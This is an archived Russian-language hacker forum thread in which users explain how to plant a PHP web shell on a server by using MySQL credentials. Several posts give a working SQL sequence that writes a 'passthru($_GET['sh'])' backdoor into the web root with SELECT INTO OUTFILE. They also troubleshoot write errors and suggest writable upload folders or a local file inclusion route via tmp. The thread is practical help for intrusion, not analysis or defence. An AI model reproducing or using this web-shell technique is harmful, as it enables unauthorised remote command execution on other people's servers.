Просмотр полной версии : Shell через sql
Ambient_man
05.11.2006, 10:38
Знающие подскажите , реально ли это сделать.
Есть доступ к mysql , то есть логин и пасс для доступа.
Как залить шелл ? и реально ли это ?
Если можно с примерами ...
CREATE TABLE `config` (`script` TEXT NOT NULL) COMMENT = 'config';
INSERT INTO `config` ( `script` ) VALUES ('<? passthru($_GET['sh']) ?>');
SELECT script FROM `config` INTO OUTFILE '/home/www/html/config.php';
DROP TABLE `config`;
Тока эта, поменяй название таблицы и имя файла...
Ато можно ненароком подменить настоящие.
Ambient_man
05.11.2006, 11:18
CREATE TABLE `config` (`script` TEXT NOT NULL) COMMENT = 'config';
INSERT INTO `config` ( `script` ) VALUES ('<? passthru($_GET['sh']) ?>');
SELECT script FROM `config` INTO OUTFILE '/home/www/html/config.php';
DROP TABLE `config`;
Тока эта, поменяй название таблицы и имя файла...
Ато можно ненароком подменить настоящие.
#1 - Can't create/write to file '..\..\..\www\co2nfig.php' (Errcode: 2)
Найди папку справами на запись, например Uploads...
И путь подбери, вобщем экспериментируй.
degeneration x
05.11.2006, 12:01
Или если есть локальный инклюд, лей шелл в tmp.
эта тема не раз обсуждалась.поиск по словам "into , outfile"
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot